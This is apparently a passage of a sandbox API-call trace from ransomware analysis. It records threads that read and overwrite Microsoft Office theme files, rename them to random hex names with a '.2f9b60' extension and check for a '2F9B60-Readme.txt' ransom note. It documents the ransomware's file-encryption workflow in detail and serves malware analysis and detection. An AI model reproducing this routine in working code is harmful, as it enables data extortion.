RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x41a9ffb1 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x7c3b7627 [0111.578] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.578] ReadFile (in: hFile=0xe04, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33c5fb60, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x33c5fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.595] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0111.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0111.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.596] WriteFile (in: hFile=0xe04, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33c5fb60, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x33c5fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0111.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a7ca0 [0111.602] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.602] WriteFile (in: hFile=0xe04, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33c5fc10, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x33c5fc10*=0x106, lpOverlapped=0x0) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0111.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b50) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0111.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0111.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0111.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ac0) returned 1 [0111.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f070 [0111.605] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="4e") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="b8") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="28") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="23") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="42") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="cb") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="68") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="f7") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="6f") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="24") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="00") returned 2 [0111.605] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="ce") returned 2 [0111.606] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="ed") returned 2 [0111.606] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="9c") returned 2 [0111.606] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="49") returned 2 [0111.606] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="91") returned 2 [0111.606] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="8e") returned 2 [0111.606] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="9e") returned 2 [0111.606] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="3b") returned 2 [0111.606] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="ef") returned 2 [0111.606] RtlInitAnsiString (in: DestinationString=0x33c5fc88, SourceString="4eb8282342cb68f76f2400ceed9c49918e9e3bef" | out: DestinationString="4eb8282342cb68f76f2400ceed9c49918e9e3bef") [0111.606] RtlAnsiStringToUnicodeString (in: DestinationString=0x33c5fc58, SourceString="4eb8282342cb68f76f2400ceed9c49918e9e3bef", AllocateDestinationString=1 | out: DestinationString="4eb8282342cb68f76f2400ceed9c49918e9e3bef") returned 0x0 [0111.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceb80 [0111.606] wcscat (in: _Dest=0x20279a30, _Source="4eb8282342" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\4eb8282342") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\4eb8282342" [0111.606] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\4eb8282342.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\4eb8282342.2f9b60" [0111.606] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\4eb8282342.2f9b60", NtPathName=0x33c5fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\4eb8282342.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119720 [0111.606] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33c5fcd0, FileInformation=0x119720, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0111.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0111.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.609] NtQueryInformationFile (in: FileHandle=0xe04, IoStatusBlock=0x33c5fc98, FileInformation=0x33c5fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33c5fc98, FileInformation=0x33c5fca8) returned 0x0 [0111.609] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33c5fc98, FileInformation=0x33c5fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb80) returned 1 [0111.615] FlushFileBuffers (hFile=0xe04) returned 1 [0111.620] CloseHandle (hObject=0xe04) returned 1 [0111.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0111.622] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.622] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65290) returned 1 Thread: id = 1082 os_tid = 0x176c [0111.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0111.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx", dwFileAttributes=0x20) returned 1 [0111.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.564] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x33cdf720 | out: lpFileSize=0x33cdf720*=39546) returned 1 [0111.564] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x9a76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.564] ReadFile (in: hFile=0x160c, lpBuffer=0x33cdf6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33cdf6e8, lpOverlapped=0x0 | out: lpBuffer=0x33cdf6a0*, lpNumberOfBytesRead=0x33cdf6e8*=0x4, lpOverlapped=0x0) returned 1 [0111.580] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0111.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.580] NtQuerySystemTime (in: CurrentTime=0x33cdf5e0 | out: CurrentTime=0x33cdf5e0*=132462177170542000) returned 0x0 [0111.580] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x1f6dcc5b [0111.580] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x1b27a0a6 [0111.580] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x52ffa1b [0111.580] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x2bdc849e [0111.580] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x7c13afb3 [0111.580] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x3c0231aa [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x3280a045 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x69c9c39 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x71d7ad42 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0xd40e445 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x4840e5c7 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x620c0548 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x682cbafb [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x7899c76c [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0xfd8a28a [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0xce85c3 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x7ed5d10f [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x62c4920d [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x591e93b0 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x5614eca [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x95a9dc1 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0xc5ddb41 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x37651e1 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x200ba118 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x72f4bae2 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x66b11bb0 [0111.581] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x6a59a84d [0111.582] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x39adfe14 [0111.582] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x717a980d [0111.582] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x4d7d9ad1 [0111.582] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x7e383e25 [0111.582] RtlRandomEx (in: Seed=0x33cdf5d0 | out: Seed=0x33cdf5d0) returned 0x7292c732 [0111.594] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.594] ReadFile (in: hFile=0x160c, lpBuffer=0x41e8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33cdf640, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesRead=0x33cdf640*=0x3c00, lpOverlapped=0x0) returned 1 [0111.598] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ca0) returned 1 [0111.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.600] WriteFile (in: hFile=0x160c, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33cdf640, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x33cdf640*=0x3c00, lpOverlapped=0x0) returned 1 [0111.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7bb0 [0111.603] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.603] WriteFile (in: hFile=0x160c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33cdf6f0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x33cdf6f0*=0x108, lpOverlapped=0x0) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c40) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0111.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f40 [0111.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7f40) returned 1 [0111.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f070 [0111.610] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="19") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="e5") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="ca") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="b9") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="6a") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="5d") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="94") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="ce") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="6f") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="a7") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="5b") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="17") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="da") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="83") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="3c") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="16") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="8e") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="1d") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="25") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="86") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="10") returned 2 [0111.611] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="ba") returned 2 [0111.611] RtlInitAnsiString (in: DestinationString=0x33cdf768, SourceString="19e5cab96a5d94ce6fa75b17da833c168e1d258610ba" | out: DestinationString="19e5cab96a5d94ce6fa75b17da833c168e1d258610ba") [0111.611] RtlAnsiStringToUnicodeString (in: DestinationString=0x33cdf738, SourceString="19e5cab96a5d94ce6fa75b17da833c168e1d258610ba", AllocateDestinationString=1 | out: DestinationString="19e5cab96a5d94ce6fa75b17da833c168e1d258610ba") returned 0x0 [0111.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9400 [0111.612] wcscat (in: _Dest=0x20279df0, _Source="19e5cab96a5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\19e5cab96a5") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\19e5cab96a5" [0111.612] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\19e5cab96a5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\19e5cab96a5.2f9b60" [0111.612] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\19e5cab96a5.2f9b60", NtPathName=0x33cdf710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\19e5cab96a5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0111.612] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x33cdf7b0, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0111.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.617] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x33cdf778, FileInformation=0x33cdf788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33cdf778, FileInformation=0x33cdf788) returned 0x0 [0111.617] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x33cdf778, FileInformation=0x33cdf788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0111.619] FlushFileBuffers (hFile=0x160c) returned 1 [0111.623] CloseHandle (hObject=0x160c) returned 1 [0111.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0111.624] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.624] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd651e0) returned 1 Thread: id = 1083 os_tid = 0x1794 [0111.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20 [0111.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx", dwFileAttributes=0x20) returned 1 [0111.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.656] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x3406fa20 | out: lpFileSize=0x3406fa20*=27789) returned 1 [0111.656] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x6c89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.656] ReadFile (in: hFile=0x160c, lpBuffer=0x3406f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3406f9e8, lpOverlapped=0x0 | out: lpBuffer=0x3406f9a0*, lpNumberOfBytesRead=0x3406f9e8*=0x4, lpOverlapped=0x0) returned 1 [0111.659] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fd0 [0111.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fa0 [0111.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0111.659] NtQuerySystemTime (in: CurrentTime=0x3406f8e0 | out: CurrentTime=0x3406f8e0*=132462177171322000) returned 0x0 [0111.659] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x1f28758f [0111.659] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0xeb7e6ad [0111.659] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0xaa86209 [0111.659] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x7faceca6 [0111.659] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x5ce89c72 [0111.659] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0xbd8e5b2 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x78c48cb0 [0111.660] 